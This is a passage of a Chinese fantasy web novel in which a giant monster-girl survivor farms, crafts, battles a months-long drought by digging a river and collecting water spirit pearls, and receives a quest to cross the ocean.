颜辞云觉得，如果自己完美的性格里一定要说有个什么缺点的话，那这个缺点一定就是好美食了。 颜辞云哪怕放弃种地的爱好，也不可能放弃美食这个爱好的！ 不过，要说到真正能迅速填饱肚子的东西，却还是水火炼葫出品的各种神奇食物了。 无他，能量高。 在颜辞云用【摄形】与【摄魂】技能获取的能力种类越来越多、等级越来越高后，颜辞云的胃口也越来越大，普通肉食一天吃个百来斤，对她都只能算是开胃小菜，三百多斤才算是勉强吃饱。 可每天三百多斤肉，颜辞云得花多少时间在狩猎、宰杀、切割、烹饪上？她又得花多少时间在进食上？ 当这样一套流程下来，她又能剩下多少自由支配的时间？ 所以，由水火炼葫出品的高能量食物，就成为了颜辞云填饱肚子的第一选择。 只要不往水火炼葫里丢奇奇怪怪的材料，而是放入四样食材，那么哪怕这个食材的组合有点奇葩，最后出炉的也大概率是食物。 比如说这一次【香蕉+西梅+蟹肉+地瓜】的神奇组合： 【黯然销魂的横行霸道：又是一道奇思妙想的潮流菜肴，由水下霸王的黯然之肉，融合了销魂的腹泻套餐，这如何不是对肠道的一场酣畅淋漓的霸凌呢？】 【食用后会引发急性腹泻，持续三天】 颜辞云：“……” 怎么每一顿都是腹泻套餐？ 不管了，铁胃无所畏惧！ 开吃！ 颜辞云把这碗黯然销魂饭分了一半给迫不及待的小白，自己则用半碗销魂饭垫了一下肚子后，接着又用霸王鼎给自己做了一锅排骨海带汤，用平底锅做了煎肉排。 最后，吃饱喝足、和小白一块儿躺在凉亭里消食的颜辞云，打开种植区块，不经意一瞥，愕然发现原本被她花得只剩52单位的炁，竟悄无声息地又回到了60。 颜辞云一懵，而后一个怪兽打挺，坐了起来： 等会儿？ 这个炁……它怎么还会自动回复？ 明明回到树屋前，【炁】的数量还是52，可吃完饭后……对了！她吃饱了！ 所以说，这里的【炁】，根本就不是指周围的某个具体物资，而是……颜辞云自己身上的能量？！ 是那个玄之又玄的、从没有在人物面板上显示过的属于颜辞云自己的【炁】？ 是那个只要吃饱了就能自动恢复的【炁】？ 颜辞云精神瞬间振奋，睡意一扫而空： 睡什么睡？ 还不赶快起来做饭吃饭回炁兑新东西？！ 第52章 巨型作物 小怪兽颜辞云的水…… 用4单位炁兑出来的耕地机到手后，颜辞云凝神细瞧，发现它小巧玲珑，并不像是某种机器，而像是一个奇特的木盒子。 木盒子的上盖紧紧扣住，与木盒纹丝合缝，如果不是锁扣的存在，根本看不出它是可以被打开的。 ——也不知道里头装着什么。 【耕地机：可用来开垦优质农田。】 竟然从“良田”进化成了“优质农田”吗？！ 颜辞云眼睛一亮，来到树屋下，打开锁扣，看到了盒子里一小捧颜色如息土一样的黑色土壤。 但也只是看起来像罢了。 颜辞云轻轻将这一小捧泥土捻起来查看，发现它只是普通的黑土，而不是息土。 而随着颜辞云的开盒举动，她感到自己与这一小捧泥土似乎建立起了非常微妙的联系。 颜辞云眼珠一转，心念一动，下一秒，木盒中的这一小捧泥土飞了出来，整整齐齐地在山丘地面铺好。 一亩，两亩……四亩！ 分明只有小小的一捧泥土，却足足铺了四亩的田地。 虽然它没有锄头开垦的九亩良田那样多，但颜辞云只是俯身用手探了探，就知道这一块黑土农田的肥力，恐怕比那九块良田的肥力还要充沛。 甚至颜辞云都能隐约看到每一粒泥土间跳跃的炁！ 颜辞云感慨万千：不愧是用4单位炁才换来的四块黑土农田，就是有活力啊。 搞清楚了耕地机的用处后，颜辞云没有贪多、把树屋下的农田全部换成黑土地，而是继续在种植区块兑换。 不过，这一次，当10单位炁的培植箱被兑换出来后，颜辞云几乎是立即就感到了饥饿，并且好像有一瞬间看到了自己身上的炁的流动！ 不同于武侠小说修真小说里说的什么上丹田中丹田下丹田、灵根灵骨金丹神识。 颜辞云只是单纯看到一团纯粹璀璨、好似太阳一样的金色光芒充盈体内，无处不在，无所不及，就好像她整个人都是由这一团金光组成的！ 但这样的奇特视野只是一瞬间就消失了。 如今的颜辞云捧着兑换出来的培植箱，没有什么其它感觉，只单纯感到了饿。 颜辞云摸了摸有些瘪的肚子，若有所思。 不知道为什么，这一刻，颜辞云的脑袋里恍惚想起了这样的一句话： 宇宙并非黑暗无光，只是人类的眼睛无法看到它的五彩缤纷。 所以，这团金色的炁，或许也并不是真正的金色，而只是颜辞云的眼睛无法分辨它的真实模样。 颜辞云花了三秒时间思考哲学问题。 三秒后，颜辞云决定还是先做饭。 她拿出了自己的宝贝小葫芦，一边往里头丢食材，一边查看培植箱。 【培植箱：具有特殊肥力的箱子，可种植任何作物，特殊肥力消耗完之前，可令种植在培植箱内的作物加速生长。】 培植箱的外观看上去倒是非常朴素，就像是四脚小茶几上放了个小箱子，里头装满了土。 不过——可种植“任何作物”？ 难道水生作物也能种？ 颜辞云丢了一把菰米进去，好奇看它会有什么反应。 却没想下一秒，这普普通通的菰米瞬间沉入泥土，生根发芽，迎风而长，短短半小时内就完成了一整个生长周期，甚至窜到了一百米高！ 颜辞云：“……” 颜辞云目瞪口呆：这、这不就是她曾经在沼泽区畔精心照料、不断改良和催长下，才出现过一次的巨型作物吗？ 在那一次之后，颜辞云虽然没有刻意复刻，却也有过尝试，想把每样作物都改良一下，这样一来，她日后就不用再收获可怜的十几斤、几十斤蔬菜了。 都说了，小怪兽的食量是很大的！ 只可惜，颜辞云的每一次改良，最后都会停留在第八代上，无论如何都没办法再进一步……可这次怎么这么轻易就突破到了第九代？ 而且还是从为改良过的一代菰米种子，突破到九代巨型菰。 并且还是在短短半小时内？ 颜辞云好一会儿才回神来，把这巨大的菰给收割了，直接获取了一百三十斤的菰米。 更令颜辞云感动的是，当颜辞云把这菰米拿出来定睛一瞧，才发现这第九代菰米，对她来说是竟然正常大小的米粒。 这句话是什么意思呢？ 之前说过，颜辞云现在的体型已经变得极为庞大，对普通人类来说就像是怪兽一样。 所以，对普通人来说正常大小的一代菰米，对颜辞云来说却像是一捧小沙子。 甚至是颜辞云吃饭前收获的那些蔬果，它们一个个对颜辞云而言也都是极小的，以致于颜辞云吃的时候根本都懒得剥皮懒得区分，都是按斤数往嘴里炫的。 可如今，这作为主食的这捧小“沙子”真真正正地化作了“米”？ 这令颜辞云如何不感动？！ 颜辞云瞧着手上的这捧菰米，甚至感到自己的生活都有了新盼头，让她迫不及待地想要把自己手上的所有蔬果全都转化为第九代改良品种！ 如果这些蔬果都进化到九代后，她应该也能吃上“正常”的食物了吧？ 颜辞云畅想着，把自己想要改良的第二种作物，番茄，种进了培育箱里。 接下来，颜辞云没有刻意催长、把所有时间都花在培育箱前，而是双线并进，掏出了另一颗种子——白天从种植区块里用1单位炁兑换出来的作物种子，种在脚边的黑土地里。 紧接着，颜辞云又在另外的三亩黑土地里分别种下价值1单位炁的树种、普通的陆生植物种子，和普通的水生植物种子。 接下来的一整个晚上，颜辞云都在观察、对比这些作物的生长情况。 首先是种在黑土地里的普通水生植物种子，它没有发芽。 由此可见，这片黑土地虽然足够肥沃，但却不像培育箱那样，能够突破水生和陆生的限制。 颜辞云记下黑土地的第一个特性：土壤肥沃，但无法突破水陆限制。 接下来，是黑土地里的普通陆生植物种子。 这些种子长势很好，生长速度也非常快，在颜辞云没有用催长能力的情况下，它们竟然也短短一夜间就发了芽长了苗。 甚至，哪怕是喜寒的种子，在这个炎热的夏季里也同样在茁壮生长。除了比应季种子长得要慢一些之外，竟没有别的不良影响！ 颜辞云记下黑土地的第二个特性：可以一定程度突破季节限制。 紧接着是黑土地里价值1单位炁的树种。 在普通的良田里，这颗树种会在三十五分钟时长成大树，四十分钟时彻底枯萎。 但在黑土地里，树种花了三十五分钟长成大树后，竟没有再枯萎了！ 哪怕过去了一个小时、三个小时，乃至是一整夜，它展开的枝叶都浓绿苍郁，半点不见枯萎迹象。 颜辞云愕然挠头，记下了黑土地的第三个特性： 疑似可延长植株寿命。 在这一点上打了个待验证的问号后，颜辞云再看向最后一块黑土地。 天黑时，颜辞云在这块土地种下了价值1单位炁的无名作物种子。 如今，晨光微亮，这块黑土地上结出了唯一一个、但体型却占据了整整一亩地、高达十米的巨型南瓜。 颜辞云凑近嗅了嗅。 浓郁的香气扑面而来，近乎实质，颜辞云闭着眼睛都能想象出这颗大南瓜的口感该有多么软糯香甜。 至此，颜辞云记下了黑土地的第四个……不，是给种植区块的种子加了一个备注： 【黑土地+1单位炁种子=天然巨型作物】。 从此以后，小怪兽颜辞云在异世界的水果和蔬菜有救啦！ 第53章 水灵珠 颜辞云擦去脸上的雨…… 种植区块带给颜辞云的惊喜，除了以上这些经济适用型，和买不起只能干看着的扶桑木种子之外，还有一样价值1单位炁的万能肥料，和两样有点小贵的东西，即【蜂箱】和【奇特的木墩】。 颜辞云将【奇特的木墩】兑换出来看了一下，发现的确是她在海底种树时曾经得到过的东西，是一截只要放置就能源源不断长出蘑菇的木头。 可能对大部分普通人而言，会觉得这种只会长毒蘑菇的木头并没有什么大用。虽然蘑菇的味道的确美味，可想要食用这些蘑菇，却得花费大量精力为它们脱去毒性。 这是需要很有技巧的高温烹煮，否则只要残留一点儿毒性，就会令人非死即伤，哪怕活了下来，也会对人体造成难以抹去的后遗症。 毒蘑菇真的是一种非常危险的食物。 可颜辞云虽然没有高温烹饪技巧，但她不怕毒啊。 而更妙的是，这木墩压根不需要照料。水也好肥料也好，阳光也好孢子也好，它全都不需要。 只要把它往角落里一丢，它自己就会像是凭空造物一样，自个儿源源不断地长蘑菇！ 从这一点来说，它的确又是一样荒野生存的神器，值得15单位的炁。 另一样和它等价的【蜂箱】，则和【奇特的木墩】一样，是个懂事的自动造物机。 【蜂箱：这个蜂箱里居住的动物似乎离开了，但被它们留下的这个蜂箱却依然残留着一种奇异生机。将它放在花朵的附近，你或许会有不一样的收获。】 蜂箱虽然叫蜂箱，但却长成了一个蜂巢模样。颜辞云瞧过，这的确是一个空的蜂巢，里头没有蜜蜂也没有蜂后。 可当颜辞云将一束鲜花插在羊脂玉净瓶里，放在蜂巢的旁边后，它却开始缓慢地自动制造起了蜂蜜。 颜辞云将蜂箱放在厨房的角落，下头摆放一个打开的蜂蜜罐承接。 插在羊脂玉净瓶里的花朵不会枯萎。日后，颜辞云只要定期过来更换蜂蜜罐，她就能稳定获取蜂蜜了。 ——米有了，蔬果有了，肉有了，就连蜂蜜也有了！ 谁的荒野求生能过得这样舒坦呢？ 只要一想到这件事，颜辞云心里就会生出说不出的成就感。 将种植区的东西彻底倒腾完后—— 这里指的是用黑土地替换掉树屋下的普通土地；将自己喜欢吃的普通的植物种子全都转化为巨大作物的种子，并收获了几波，在地窖里储存了数量令人心安的蔬果；见缝插针地兑换万能肥料，并特意造了个杂物间来储存这些肥料。 将以上的这些事全部完成后，这个世界已经进入夏季真正一个月了。 而从新玩具种褪去兴奋的颜辞云，也终于后知后觉地意识到了这个夏天的不对劲： 这一个月来，空气里的温度是不是一直在不断升高？ 颜辞云在变作小怪兽后，对温度的高低就没有那么敏感了，哪怕是大雪天，她也能一件衣服不穿，面不改色地在雪里和冰水里转来转去。 虽然，必须要承认的是，这里有神凤辟邪簪的功劳，它的自带温度给颜辞云提供了一个稳定热源，让她哪怕在冰原里行走时也不会感到太过寒冷。 但按理来说，拥有【火·毕方】这个能力的颜辞云，比起寒冷来说，应该更不惧怕高温才对。 她甚至能直接在岩浆池里洗澡！ 可偏偏这些天来，颜辞云已经热得把神凤辟邪簪都取下了，换成了她随手制作的花簪。 甚至在这两天的正午时分，颜辞云还不得不被迫放下手里的事，转移阵地，一头钻进去年冬天造好的夏日水房里避暑！ 这令颜辞云感到分外震惊：怎么回事？到底为什么会感到这么热啊？ 而且更重要的是，这一个月来，是不是一直没有下过雨？！ 进入夏季的第二个月。 沙漠里，那因连续十五天暴雨而乍然一现的绿洲消失了。 随着绿洲一块儿消失的，还有草原上的几个小湖泊和几条小溪流。 当汇聚了小溪流水源的中型湖泊，都随着溪流的断水而消失后，草原上的动物们开始了自发的迁徙，目标则是草原南边最大的湖泊。 而当牛羊哩兽都离开后，颜辞云也不得不把斗兔场周围的龙威散去了，放这些被圈养的鬣狗和兔子们自由，免得它们直接渴死在这儿。 可即便如此，颜辞云看着无云的天空，心中仍然十分忧虑： 为什么还不下雨呢？ 这样难熬的天气，还会继续升温吗？ 如果会，它到底会达到多少度？ 而这个夏季，又到底要持续到什么时候？ 最近的颜辞云，几乎每天早起的第一件事，就是用浇水壶把树屋下开出来的黑土地浇透。 她甚至还去裂谷转了转，想要看看那些花朵需不需要她的照料。 但出乎意料的是，裂谷的情况竟然比草原要好上很多，就好像是雨季渗入地缝的水在炎热的夏季又涌了出来，令裂谷里的土壤一直保持着湿润。 “难道说，裂谷的下面，就是一条地下河吗？” 也对，这里本来就离湖泊群系很近，而湖泊群就是一个有着丰富地下水资源的地方。 但…… 明明湖泊群系那边的水位，最近也下降了不少啊。 为什么裂谷这儿还是这样四季如春呢？ 颜辞云在裂谷转了两圈，没有发现什么端倪，便离开了。 毕竟，颜辞云也没时间一直在这儿耽误。 她已经开始考虑起了人工降雨的事了。 以颜辞云的能力来说，她其实顾及不了太多的地方，因为邪龙噬雷枪里的水炁能量不够多，而她也没找到什么更好的补充能量的方法。 之前邪龙噬雷枪里的能量，都是颜辞云趁着换季后，去水炁陨坑里搜刮残留的能量得来的，没法自动恢复，用完就没有。 而如今，世界已经持续了两个月的无雨与高温了，而下一个换季还不知道什么时候到来。 如果颜辞云布雨的范围太广、频率太高，那等邪龙噬雷枪里的能量用完后又怎么办？难道在天上拿个浇水壶往地上倒水吗？ 可以，但没必要。 总而言之，在进入夏季后的第二个月，颜辞云的注意力已经从种地慢慢转移到了周边不正常的气候上。 而就在颜辞云忧虑着什么时候要人工降雨、降雨的范围和频率应该是多少的时候，颜辞云突然看到树屋对准南边裂谷的窗户，染上一片危险的火红！ 颜辞云吓了一跳，连忙来到窗前细看，发现在裂谷更南的方向，也就是被颜辞云搬来的十座山里，有一座山已经无法控制地燃烧起了山火！ 是高温的天气，和它们脚下缺水的荒野，让这些原本青翠的山林再也遭受不住了！ 颜辞云连忙飞了出去，在南方山脉的上方停下，一边施云布雨，一边勒令这场大火散去。 可即便如此，这座山上原本湿润的土地已经干涸开裂，难以留住水分，反而被大雨冲走了不少泥土，树木焦黑，原本蔫黄的树叶彻底失去了生机。 颜辞云感到，自己不能再等下去了。 否则，周围原生态的地形或许还好，但她好不容易搬来这十座山，恐怕也得跟荒野一样，变作荒山了。 ——颜辞云可算是明白这块荒野为什么寸草不生了，原来都是在这个漫长的夏天被祸祸完的！ 下雨。 必须得人工降雨！ 这一条绿化带得保住，北方不断下降的湖泊群得保住，还有西边开始干涸的草原，甚至是更北边的沼泽区，都得保住！ 并且，她还要从沼泽区以北的大河区引一条河过来，从湖泊群与草原间走过，路径树屋所在的农田山丘，最终抵达荒野，在绿化山的脚下绕上一圈，让这片荒野上真正存在一个水源，用以调节空气中的温度和干湿平衡。 这是一个不小的工程。 哪怕是对颜辞云这样体型如同小怪兽、且持有系统工具金手指的人来说，都得花上不短的时间。 毕竟，需要再次强调的是，虽然颜辞云的龙形可以把附近的各地形当后花园来逛，可它们的面积真的非常大！ 所以北水南调真不是一个小工程。 但没有办法，这样的高温天气实在是让颜辞云太过不安了。 颜辞云可不想日后一到夏季，自己就得跑南跑北地搞人工降雨的事。 所以，为了以后的好生活，现在的她还是多花点时间，多挖河道多蓄水，让自己居住地附近地地形更抗洪耐旱才行！ 这么想着，颜辞云打开小地图，以南边荒野的绿化带和北边大河为路线的两端，规划起了人工河道的路线。 进入夏季的第三个月。 颜辞云手持钻石锹，用她超绝的挖土速度，在大地上挖出了一个又长又深的沟渠。 这个沟渠是从南开始挖的，先是围着绿化山绕了一圈，再穿过荒野，一路向北。 可就当颜辞云挖着沟渠经过裂谷时，意外发生了。 ——水！ 源源不断的水，在某个时刻从地底狂涌而出。 有那么一瞬间，颜辞云看着脚下疯狂涌出的水，几乎要以为自己是挖穿了地壳，把海水和陆地连通了。 可很快的，颜辞云就发现并非如此。 因为与水一同涌出的，还有一只直直向颜辞云扑来的……鱼？！ 还是一只透明的、长着翅膀的鱼？！ 颜辞云吓了一跳，下意识伸出空闲的左手，抓住了这条鱼，用力一捏。 啪！ 小卡拉米瞬间碎掉了。 但是，没有血肉飞溅，只有看起来像是血肉的水花溅落。 它看起来像是完全由水凝聚而成的，跌落水后，又瞬间与水融为一体。 颜辞云连忙低头，四下查看，可她没有看到鱼，没有看到骨，也没有看到肉。 正当颜辞云疑惑间，突然的，颜辞云感到自己刚刚捏碎那条奇怪水鱼的手掌里，好像多出了什么。 她摊开手，定睛一瞧： 【水灵珠（微小）：从一只蠃鱼上获取的微小型灵珠。当灵珠内储备了足够的水后，它将自动调节方圆十公里内的水气平衡。可用同种类的灵珠进行升级。】 颜辞云惊讶地拿着自己的战利品，口中喃喃： “蠃鱼？” “……水灵珠？” 没等颜辞云反应过来，干旱已久的荒野上，不知道为什么，突然有雷云翻涌聚集。 轰隆！ 先是闪电撕裂雷云，下一秒，暴雨从天而降。 昏暗迷蒙的水汽中，颜辞云擦去脸上的雨水，看到自己掌中的灵珠正熠熠生辉。 第54章 再次上线的任务 任务[发现…… 得到微小型号的水灵珠后，颜辞云的降雨工作的效率，又登上了一个新的台阶。 至此，颜辞云总算是明白了裂谷所在土地为什么基本都是风调雨顺，既不会被雨季淹没，又不会被高温烤灼了。 想来那些在裂谷地下水道里生活的蠃鱼们，和蠃鱼们体内的小灵珠，为此出了不小的力。 颜辞云作为一个热爱生活且热爱合成的玩家，在拿到这颗微小型号的灵珠后，脑袋里生出的第一个念头，自然是搜集更多的微小型号灵珠，将它们一路合成——小型号，中型号，大型号，乃至是完美型号！ 想一想，一颗微小型号的灵珠，就能调整方圆十公里的水气平衡，令干旱的大地迎来大雨，那一颗完美的水灵珠，它的威力又会如何？ 是不是只要有这颗水灵珠携带在身上的一天，她所在的区域就永远不必为干旱或洪水烦恼？ 这实在是个诱人至极的念头，让颜辞云几乎忍不住想要抛下手里的工作，顺着被挖开的地下水道的入口钻进去，将裂谷地下水道里的蠃鱼一网打尽！ ——有了水灵珠后，哪里还需要费尽心力地挖什么沟渠、开什么河道？ 神秘力量可解决所有问题！ 不过，这样的诱人念头到底被颜辞云的理智按下。 首先，地下河道向来复杂，水网纵横交错。哪怕颜辞云可以化身鱼形，不再考虑水下呼吸的问题，但贸然进入一个陌生的水网，还是很容易迷路，甚至冷不丁被暗流冲到乱七八糟的地方。 哪怕颜辞云虽然不怕迷路，更不怕被困，就算落入地心也能一路挖出来，但迷路后再回程这段路途所浪费的时间，却是很令颜辞云心焦的。 再者，完美水灵珠到底威力如何，谁都不知道，只存在于颜辞云的想象，颜辞云很难为了这一点想象就抛下自己规划好的工作、能看到的未来。 更何况，地下水道里的蠃鱼到底有多少都很难说，万一蠃鱼数量极少，她颜辞云难道还要直接把人家灭族吗？ 致力于在大地上构建完整生态链的颜辞云下意识抗拒这件事。 所以—— 蠃鱼和水灵珠的事，以后再说。 能有收获，自然最好，可没有收获，也不能强求。 为了一点点可替代的小东西，就灭掉一个族群，这样的事颜辞云无论如何都没办法下手。 所以，如今颜辞云的当务之急，依然是挖河道，顺便给附近降降雨，调节一下过于干旱和高温的气候。 想到这里，颜辞云把空掉的水灵珠丢进浇水壶，放进物品栏，用土块暂时堵上地下河道的缺口，继续埋头苦挖。 进入夏季的第四个月。 颜辞云在为草原上热得奄奄一息的动物们搭草棚遮阳时，解锁了畜牧区块。 畜牧区块很好理解，就是专门为了饲养动物而存在的区块。 这个区块的兑换单位不再是炁，而是木头、树枝、杂草、石头这些常见的建筑材料。 可当颜辞云随手把牛棚和羊圈给造出来后，颜辞云才发现，建造它们很简单，但维持这两样东西的运行，却需要炁。 也不多，一个1级牛棚的容量上限是5，维持一天所需要的炁是15；一个1级羊圈的容量上限也是5，但维持一天所需要的炁是20。 炁总量也不过区区60单位的颜辞云汗流浃背了。 算、算了吧……养牛养羊这种事…… 还是以后再说吧。 颜辞云反手又拆了牛棚和羊圈，免得附近游荡的牛羊们不小心走进建筑，被判定为被圈养的动物，然后每天从颜辞云的身上抽炁。 颜辞云目前可撑不住这样的耗炁大户！ 不过，随着颜辞云在畜牧区块的帮助下，搭起了第一个规整成型的、设计合理的牛棚，而非是小孩子过家家一般用木块拼出来的建筑后，颜辞云的建筑区块也解锁了。 这个区块的出现，倒是解了颜辞云的燃眉之急。 一来，这个区块的建筑，都是可以依据使用者的体型大小而定制的。 二来，也是更重要的一点：这个区块里的建筑都是成型的，是成套设计好了的！ 比如说一套自带泳池的现代简约风黑白二色小别墅；比如说一套有漂亮小花园自带温室和跑马场的大型庄园；比如说古色古香五步一楼十布一阁的恢弘宫殿。 甚至是带着幻想色彩、明明只应该存在于小说里的天空法师塔；建造在太空的空间居住站和环形世界。 就连颜辞云格外青睐的树屋，这个区块也有成型的设计图，其名为【九重天】。 在【九重天】这个设计图里，无论是那颗高大得仿佛连通天地的巨木，苍郁茂密的枝叶，还是围绕着巨木树干一层层建起的世界，看起都是如此梦幻，让颜辞云一眼万年，恨不得立即把它在这个世界复刻出来。 但颜辞云只是点进去看了一眼这个建筑所需的材料，又立即关上页面退了出来。 打扰了，告辞！ 虽然成套的建筑颜辞云哪一个都建不起——就算是那座最小的黑白三层带泳池的小别墅，其中的许多材料也是颜辞云没有的。 不过还好，这个建筑区块还有一个极妙的功能，那就是把区块自带的设计图纸按房间拆分，自选房间建造，并且还能在建造材料栏目里输入自己手头上拥有的材料类型和材料数量，让系统评估这些材料是否能够建造某个房间。 真是救了孩子的大命了！ 而更妙的是，这个子系统，还能订做家具！ 虽然这里的订做页面没什么设计感和美感，都是非常基础的锅碗瓢盆、桌椅板凳之类，但……天呐！小怪兽终于不用自己做家具、不用手捏平底锅了！！ 颜辞云简直感动到掉眼泪。 该说不说，有了这个系统和这些子系统，颜辞云觉得自己哪怕一个人，也能在这个世界住到地老天荒！ 之后，给草原上的动物们搭了几个大型的石头遮阳棚，挖了几个蓄水池后，颜辞云的生活日趋稳定。 早上，颜辞云起床后，先去大海把三个浇水壶全部装满，然后把树屋下的农田浇透，铺上肥料，种上第九代作物种子。 这些在黑土地上的种子也不必催长，稍稍关注一下水肥和虫害就好。 因为黑土地上的作物就和晾肉架一样，都是第二天一早就能收获的。 把农田都照看一遍后，上午，颜辞云会查看周边哪里缺水严重，而后用水灵珠为其降雨。 虽然水灵珠的蓄水量很小，只是为方圆十公里的地下一场大暴雨就花掉了所有的水量，但没关系颜辞云这段时间兑了不少的浇水壶，每个水壶100吨水，把水灵珠往水壶里一丢，续航的问题便立即解决了。 而在巡视的路上，颜辞云也能顺便想好午饭的菜单。 如果想吃海鲜的话，是最简单的，潜入海底捉两条大鱼就好，一条自己动手烹饪，享受做饭的乐趣，一半丢进水火炼葫里摇，看这次它又能给她抽出个什么腹泻套餐。 想吃地上跑的就有点儿难了，因为天气太热，这些陆上的生物们减员严重，让颜辞云都不好意思向它们伸手了，只能多啃点冬天晾的肉干解解馋。 到了中午，天气最热的时候，颜辞云会躲进湖底的夏日水房避暑，或者干脆飘在海底装死蛇。 这时候，被热得躲在树屋不想外出的小白，就会开心跟上，黏在颜辞云身边游来游去，表演猫猫划水或猫猫捉鱼。 下午，颜辞云打起精神，继续自己的人工河道大业。 或许对于许多人来说，枯燥的挖土日常十分无聊，更别说还要顶着酷热。如今颜辞云分明有了自保能力，却还要为了大地为了沿途上的其它生物挖河道，实在是吃力不讨好，还不如让这些生命自己去适应环境，优胜劣汰。 但颜辞云却认为，生命的自然适应自然进化，固然是重要的，但改造环境、令世界变得更好更宜居，却同样有着重要意义。 颜辞云能在这个异世界过得安稳舒适，并不是因为这个异世界有多么宜居，而是因为她有金手指。 对于没有金手指的动物们而言，这个世界无疑是格外严酷的。 它冬天极寒，夏天极热，日夜温差极大，并且植物和生物都不够多，连一条完整的食物链生态链都没有，不知道哪一天醒来某个物种就彻底消失了。 在这个世界活下来的生命，其实是非常顽强也非常艰苦的。 颜辞云虽然食用它们，却也怜悯它们，想要为它们做点什么。 ——哪怕不是为它们，只是为了自己，颜辞云也想要改变这个世界，让世界变得更好。 就这样，颜辞云一路挖了下去，路途中不知挖穿了多少地下水道。 这也让颜辞云对这些地下水网的大致形状有了初步了解。 值得一提的是，某些时候，当颜辞云挖穿某条地下水道时，的确会有某个小倒霉蛋蠃鱼随着被挖穿的地下水道冲出来。 而这个时候，就是颜辞云的收获时刻啦！ 水灵珠+1+1+1…… 这些水灵珠全是微小型号的，颜辞云足足用了九个微小型水灵珠才合成了一个小型水灵珠后，她就知道自己未来的合成之路必定任重而道远。 9微小型水灵珠=1小型水灵珠 81微小型水灵珠=9小型水灵珠=1中型水灵珠 那大型呢？ 完美呢？ 万一完美和大型这两个等级里还有一个特殊呢——一些氪金页游就喜欢搞这事。 颜辞云真是想想那个合成的材料数量就觉得头大：算了，就这样吧，接下来的合成还是一切随缘吧。 因此，颜辞云把剩下的四个微小型号水灵珠直接丢进水火炼葫里，看能抽出什么东西来。 结果抽出了火灵珠。 【火灵珠（微小）：携之可避火烧。可用同种类的灵珠进行升级。】 感觉没什么大用啊。 而且，水灵珠怎么会合成火灵珠的？ 颜辞云看了两眼，就把它丢进储物箱里压箱底。 到了晚上，就是颜辞云的休憩时间了。 在这个时间段，颜辞云就会打开建筑区块，一边为自己定制家具，一边对着【九重天】的图纸琢磨，看能不能靠自己的力量，在巨木上搞出一个盗版九重天来。 就这样，进入夏季的第五个月，河道挖通了。 颜辞云也算是了结了心头的一件大事。 六个月后，漫长高热的夏季终于结束了。 随着第一场大雨降临世界，阔别了数月的雷声再次在雷山上响起。 颜辞云看着窗外雷山上熟悉的雷云，虽然这次没有经历水火两炁的狂砸，但却也瞬间明白了： 最适合生命生存活动的秋天，终于到来。 或许，她可以趁这个机会出一趟远门，把自己探索的区域再扩宽一些，最好找寻一下这个世界其它智慧生命的痕迹？ 秋季持续了不长不短的三个月。 在这三个月里，颜辞云向南方和北方探索了无数区域，依然没有走到这个世界的尽头。 而向西边，她同样没能抵达雷山。 ——这个世界，真是大得不可思议。 是颜辞云之前想都不敢想的广度。 三个月温顺宜人的秋季过后，又是一场激烈的换季。 而这时，颜辞云已经能够坐在龙种力场笼罩的树屋里，一边在火炉前摸猫，一边淡定地看着窗外水火两炁激情互殴了。 只不过这一次，出乎颜辞云的意料。 随着换季过程的结束，几乎被颜辞云遗忘的声音竟又一次响起： 【叮！任务[发现新大陆]已开启，航海区块加载中，请玩家尽快横渡大洋，去往新世界。】 摸猫的手一顿。 颜辞云茫然：什么？ 发现新大陆？！ 颜辞云下意识走出树屋，望向大海。 在那里，在颜辞云的视线尽头，那块仿佛被黑洞封锁、凝固了时间与海洋的区块，第一次涌出了白雾。 白雾吞噬了……黑洞？ 颜辞云感到一阵说不出的战栗，在这一刻顺着背脊攀上。 ——那是什么？ 在那白雾的背后、大海的尽头，等待她的会是什么？！ 第55章 收获与准备 她或许还真的要…… 在颜辞云西面的大海上，有一面凝固了视线与深渊的黑暗海域，如同被截断了的世界的尽头！ 颜辞云在穿越之初，就曾试着抵达过那里，甚至大胆地试探过那片黑暗的边界。 但非常不可思议的是，那片黑暗海域外笼罩着一层看不见的“空气墙”，坚决地阻隔了外界地一切。 当颜辞云用棍子敲上去时，她甚至能听到咚咚的闷响。 后来，在颜辞云获得龙种力场后，她又曾经试着抵达过那里，但很可惜，它与龙种力场似乎并不是同一样东西，当海底龙尸都接受了她的靠近后，黑暗海域的拒绝依然如此坚决。 之后，随着时间流逝，颜辞云也渐渐不再关注那片海域。 毕竟，这个世界是如此广阔，她甚至怀疑自己连这块大地的三分之一都没有探索完毕。在这样的情况下，颜辞云又怎么会想到出海、又怎么会用多余的心思去思考那片黑暗海域内外到底是什么模样？ 可如今…… 她或许还真的要出海一趟。 颜辞云开始清点自己的物资。 事到如今，颜辞云的树屋已经被扩充了数次，不同房间里不同功能的储物箱很多，但总体的数量却并没有比上一次颜辞云轻点物资时增长多少。 这是有原因的。 在建筑区块开启后，颜辞云其实花了不少时间，把树屋的内外装修都大搞了一通。 除了一些不好看又舍不得扔的杂物被颜辞云收进储物箱外，其它大部分的地方，颜辞云都没有再放置储物箱了，而是把里头的物资拿出来做成了各种家具，和各种漂亮的置物架、置物台。 比如说在活动室旁边的一个小小展示厅里，颜辞云就把自己穿越这一年来做的无数木雕都拿了出来，按照时间顺序一一摆好。 看着这些木雕从扭曲的丑八怪，变成初具形状甚至初显精巧的装饰品，也算是一种难得的纪念。 而且，就连颜辞云那些用得半旧不旧、当初没舍得扔后来没想起来扔的工具，比如说木镐木斧木锄石镐之类，也被挂在了墙上留念呢！ 后来，颜辞云看着这个除了木雕就是工具的展厅，左看右看，觉得少了什么，于是用制作台合成了一张超大的兔毛毯和牛毛毯，挂在展示厅入口左右两侧的墙上。 如果放在专业人士眼里，颜辞云这乱七八糟的搭配，让整个展示厅的配色和布置一塌糊涂，实在是一点品味都没有。 但，什么叫品味？ 小怪兽才不管那些呢。 能让她开心的东西，就是好的，不能让她开心的，哪怕旁人夸上天，她都懒得瞧一眼呢。 总而言之，当异世界的生活随着建筑区的开启正式步入正轨后，颜辞云也慢慢习惯了把自己得到的有趣之物放在屋子里。 摆着看，或者直接取用，都行。 只要不是放在储物箱里吃灰，那这些“物资”就是有意义的。 木头变成了书桌书椅、书架画架、窗棂屋檐、亭台楼阁；芦苇变成了本子纸张、书法绘画、窗帘桌布。 曾经获取的竹子甘蔗，也不必精打细算，一定要把它们全部做成材料储存才肯罢休。 将它们栽在水边肆意生长，也是闲适生活的点缀。 所以，如今，颜辞云偌大的树屋里，反而是地窖里的储物箱最多。 去年冬天，颜辞云做了一个地窖，里头装满了冰原上拉来的冰块。 当时颜辞云只是随手做了这样一个东西，真没想过自己能用上。 但进入高温不退的夏天后，颜辞云才发觉自己的这一闲笔多么具有先见之明！ 